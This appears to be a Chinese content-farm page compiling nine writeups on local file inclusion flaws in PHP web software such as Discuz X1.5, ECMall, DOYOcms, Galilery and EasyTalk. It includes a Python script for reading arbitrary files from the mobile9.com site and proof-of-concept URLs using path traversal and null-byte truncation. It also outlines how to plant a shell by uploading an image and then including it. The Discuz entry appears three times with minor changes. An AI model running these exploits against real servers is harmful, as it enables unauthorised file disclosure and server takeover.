DISCUZ X1.5 本地文件包含漏洞

时间:2022-07-30 07:48:05 其他范文 收藏本文 下载本文

DISCUZ X1.5 本地文件包含漏洞(精选9篇)由网友“顺利利”投稿提供,下面小编给大家整理后的DISCUZ X1.5 本地文件包含漏洞,欢迎阅读!

DISCUZ X1.5 本地文件包含漏洞

篇1:mobile9 本地文件包含漏洞

因为他是base64编码的手工测试很麻烦就写了个小工具,高手飘过

import urllib2,sys

import httplib

import base64,time

if len(sys.argv) <= 2:

print “=” * 30

print “mobile9.com local exploit by cnb|rd Qq:441303228”

print “Email:Linuxrootkit@gmail.com”

print “=” * 30

print

print “usage: ” + sys.argv[0] + “ hostname ” + “ local file ”

print

sys.exit(1)

host = sys.argv[1]

path = sys.argv[2]

file = sys.argv[3]

h = httplib.HTTP(host)

h.putrequest(“HEAD”, path)

h.putheader(“Host”, host)

h.endheaders

okresp, reason, headers = h.getreply()

print “=” * 30

print host + “ Server Banner is ” + headers.get(“Server”)

print “=” * 30

print “Local file to read is ” + file

time = int(time.time())

serverpath = “/download/content_delivery.php?key=”

str = str(file) + “|” + str(time) + “|”

print str

base64file = base64.urlsafe_b64encode(str)

requestpath = serverpath + base64file

print base64file

print requestpath

f = httplib.HTTPConnection(host)

f.request('GET', requestpath)

print f.getresponse().read()

f.close

CSDN博客cnbird2008

篇2:ECMall本地文件包含漏洞

by Ryat

bbs.wolvez.org

respond.php 48行

$pay_code = !empty($_REQUEST['code']) ? trim($_REQUEST['code']) : '';

...

$plugin_file = ROOT_PATH . '/includes/payment/' . $pay_code . '.php';

if (is_file($plugin_file))

{

include_once($plugin_file);很明显的一个bug

利用的话可以参考flyh4t提到过[bbs.wolvez.org/topic/56/]的一个思路:

可以通过旁注拿个shell,然后写个main.php到/tmp目录下,然后包含之

篇3:DISCUZX1.5 本地文件包含漏洞漏洞预警

DISCUZX1.5 本地文件包含,当然是有条件的,就是使用文件作为缓存,

config_global.php

$_config['cache']['type'] = 'file';

function cachedata($cachenames) {

......

$isfilecache = getglobal('config/cache/type') == 'file';

......

if($isfilecache) {

$lostcaches = array;

foreach($cachenames as $cachename) {

if(!@include_once(DISCUZ_ROOT.'./data/cache/cache_'.$cachename.'.php')) {

$lostcaches[] = $cachename;

}

}

......

}

地址:

localhost:8080/bbs/forum.php?mod=post&action=threadsorts&sortid=ygjgj/../../../api/uc

localhost:8080/bbs/forum.php?mod=post&action=threadsorts&sortid=ygjgj/../../../api/uc

Authracation has expiried

执行了 api/uc.php 页面代码了,

作者: Jannock

篇4:DOYOcms 本地文件包含漏洞漏洞预警

这是这套CMS ,这个很简洁,。。

这里的$handle_controller = syClass($__controller, null, $GLOBALS['G_DY'][“controller_path”].'/'.$__controller.“.php”);

接下来往下看

这里的$sdir 没有经过任何过滤来的,然后看下这个import函数

这里直接包含了该文件

require($sfilename);

所以结合前面的

$GLOBALS['G_DY'][“controller_path”].'/'.$__controller.“.php”

$__controller是我们可控的变量,也没有经过任何过滤,我们想可以通过%00截断,然后包含我们上传的文件就达到了目的

这也就是鸡肋的地方了,如果要截断,要保证php版本小于5.4(我自己也记不太清了) 因为高版本的修复了该截断的漏洞,

然后这里要保证魔术常量是关闭的。

下图就是成功包含的图

Exp:

localhost/test/index.php?c=../uploads//06/1.gif%00&a=type&tid=1

篇5:DISCUZ X1.5 本地文件包含漏洞

DISCUZX1.5 本地文件包含,当然是有条件的,就是使用文件作为缓存, config_global.php $_config['cache']['type'] = ‘file’; function cachedata($cachenames) { …… $isfilecache = getglobal(‘config/cache/

DISCUZX1.5 本地文件包含,当然是有条件的,就是使用文件作为缓存。

config_global.php

$_config['cache']['type'] = ‘file’;

function cachedata($cachenames) {

……

$isfilecache = getglobal(‘config/cache/type’) == ‘file’;

……

if($isfilecache) {

$lostcaches = array;

foreach($cachenames as $cachename) {

if(!@include_once(DISCUZ_ROOT.’./data/cache/cache_’.$cachename.’.php’)) {

$lostcaches[] = $cachename;

}

}

……

}

地址:

localhost:8080/bbs/forum.php?mod=post&action=threadsorts&sortid=ygjgj/../../../api/uc

localhost:8080/bbs/forum.php?mod=post&action=threadsorts&sortid=ygjgj/../../../api/ucAuthracation has expiried

执行了 api/uc.php 页面代码了,

作者: Jannock

篇6:include本地文件包含漏洞随想

by Ryat

www.wolvez.org

-2-22

引用:

本地文件包含漏洞是PHP中比较常见的漏洞,像下面的代码:

include(inc/.$_GET[a]./global.php);

这是个典型的文件包含漏洞,但要想包含任意文件的话需要引入NULL字符截断后面的/global.php,但在gpc为on的情况下null是会被转义的,这往往成了本地文件包含漏洞利用的束缚(在一些特定的情况下也可以用其他方法截断后面的代码,见:html“>www.wolvez.org/forum/thread-55-1-1.html)

其实文件包含分为include()和 require()两种,先看下手册中对这两种方式区别的描述:

这两种结构除了在如何处理失败之外完全一样,include() 产生一个警告而 require() 则导致一个致命错误。换句话说,如果想在遇到丢失文件时停止处理页面就用 require()。include() 就不是这样,脚本会继续运行

手册中对两种方式的区别说的很清楚,而include()的这种对待包含失败的处理方式有时会给我们在利用本地文件包含漏洞上提供一些其他的思路,看下下面的代码片断:

...

if (!empty($_COOKIE[”userlanguage“]) && file_exists(”lang/“ . basename($_COOKIE[”userlanguage“]) . ”/global.php“)) $language = $_COOKIE[”userlanguage“];

...

include_once(”lang/$language/index.php“);

...

$template = preg_replace(”/{langs+(.+?)}/ies“, ”languagevar(1)“, $template);

...

fwrite($fp, $template);

...

function languagevar($var) {

if(isset($GLOBALS[lang][$var])) {

return $GLOBALS[lang][$var];

} else {

return ”!$var!“;

}

}

...

简单说下代码的处理流程,程序根据浏览者选择的语言把相应的$lang写进模板缓存,当浏览者访问时直接访问模板缓存,

而这里可以通过$_COOKIE[”userlanguage“]触发本地文件包含漏洞,这样提交:

../../[file][null char]/eng

通过basename()返回eng,而/lang/eng/global.php是存在的,绕过了file_exists()的检查,成功触发了本地文件包含漏洞,但这里需要GPC为OFF,因为要引入NULL字符截断后面的字符串。貌似利用很困难,但我们可以转换下思路,这里include_once()正确包含的话会包含语言文件,语言文件里面定义了$lang,这里是关键了,我们只要随便提交$_COOKIE[”userlanguage"],使include_once()无法正确包含,而前面提到include()即使包含失败,脚本依旧会向下执行,这样没有包含语言文件,$lang就是没有初始化的了,那么在register_globals为on或用了extract()的情况下,我们就可以自行提交$lang了,然后通过fwrite()写入了缓存文件:)

其实这个思路就是把include()本地文件包含漏洞转化为其他漏洞,是个典型的二次攻击:)

篇7:DISCUZ X1.5 本地文件包含漏洞说明

DISCUZX1.5 本地文件包含,当然是有条件的,就是使用文件作为缓存,

config_global.php

复制代码

代码如下:

$_config['cache']['type'] = ‘file’;

function cachedata($cachenames) {

……

$isfilecache = getglobal(‘config/cache/type’) == ‘file’;

……

if($isfilecache) {

$lostcaches = array;

foreach($cachenames as $cachename) {

if(!@include_once(DISCUZ_ROOT.’./data/cache/cache_’.$cachename.’.php’)) {

$lostcaches[] = $cachename;

}

}

……

}

地址:

localhost:8080/bbs/forum.php?mod=post&action=threadsorts&sortid=ygjgj/../../../api/uc

localhost:8080/bbs/forum.php?mod=post&action=threadsorts&sortid=ygjgj/../../../api/ucAuthracation has expiried

执行了 api/uc.php 页面代码了,

作者: Jannock

篇8:Galilery 1.0本地文件包含漏洞漏洞预警

Galilery是一款使用PHP编写的开放源代码的相册系统,Galilery 1.0存在本地文件包含漏洞,可能导致敏感信息泄露,

[+]info:

~~~~~~~~~

Galilery 1.0 Local File Inclusion Vulnerability

$ cat 15_lfi_galilery.1.0.txt

# exploit title: local file include in Galilery 1.0

# date: 18.o2.2o11

# author: lemlajt

# software : Galilery

# version: 1.0

# tested on: linux

# cve :

# ftp.heanet.ie/disk1/sourceforge/g/project/ga/galilery/Galilery/

[+]poc:

~~~~~~~~~

localhost/www/cmsadmins/Galilery-1.0/index.php?pg=1&d=../../../../../../../../../../../../etc/

cuz:

index.php: $d=$_GET['d'];

[+]Reference:

~~~~~~~~~

www.exploit-db.com/exploits/16206

篇9:EasyTalk 微博本地文件包含漏洞漏洞预警

发布日期:2011-01.29

发布作者:sw0rder

影响版本:EasyTalk

:www.9italk.com/

漏洞类型:文件包含

漏洞描述:

漏洞文件在“wap/index.php”,关键代码如下:

具体利用:

新建一个账户,在首页写话题处上传捆后的图片,这里传后可以显示出文件名,在服务器中会出现两个图片,一个源图片,一个处理过的,

EasyTalk 微博本地文件包含漏洞漏洞预警

且已自身 id 为目录命名(id 可从右上方看到),那么图片路径就是:attachments/photo/user_id/图片名.jpg。

测试:

127.0.0.1/easytalk/wap/in ... ents/photo/user_id/图片.jpg%00.

另外,关于截断方面可以用较多的/来试试 有时候会有效果,php版本别太新否则截断会无效的hoho

脚本本地/远程文件包含/读取及文件名截断漏洞FUZZ工具详解漏洞预警

opera9.52使用ajax读取本地文件漏洞进一步利用漏洞预警

Linux Kernel ELF文件跨区域映射本地拒绝服务漏洞

ki Wiki CMS群件本地文件包含和跨站脚本漏洞及修复

一个中国黑客公开信

瑞星防火墙使用心得

如何让Windows 系统更安全

Windows 服务器的安全防护林

扩展思维新方法后台拿shell

Manhali v1.8本地文件包含缺陷及修复

DISCUZ X1.5 本地文件包含漏洞
《DISCUZ X1.5 本地文件包含漏洞.doc》
将本文的Word文档下载到电脑,方便收藏和打印
推荐度:
点击下载文档

【DISCUZ X1.5 本地文件包含漏洞(精选9篇)】相关文章:

Discuz XSS得webshell脚本安全2022-05-08

windows本地连接中“修复”功能使用2022-05-07

FTP常用软件servu的安全权限处理WEB安全2022-12-10

Windows系统安全设置方法中级安全篇服务器教程2023-03-02

linux当mysql以root权限登录时提权网站安全2023-08-17

瑞星个人防火墙修复Windows系统漏洞教程2023-05-29

Windows 服务器入侵前兆检测方法技巧服务器教程2023-09-19

让你的Windows 更安全2022-12-25

一个防注入的小白错误千博企业程序漏洞预警2022-09-25

合理维护网络服务器安全的七个小技巧2022-12-07

点击下载本文文档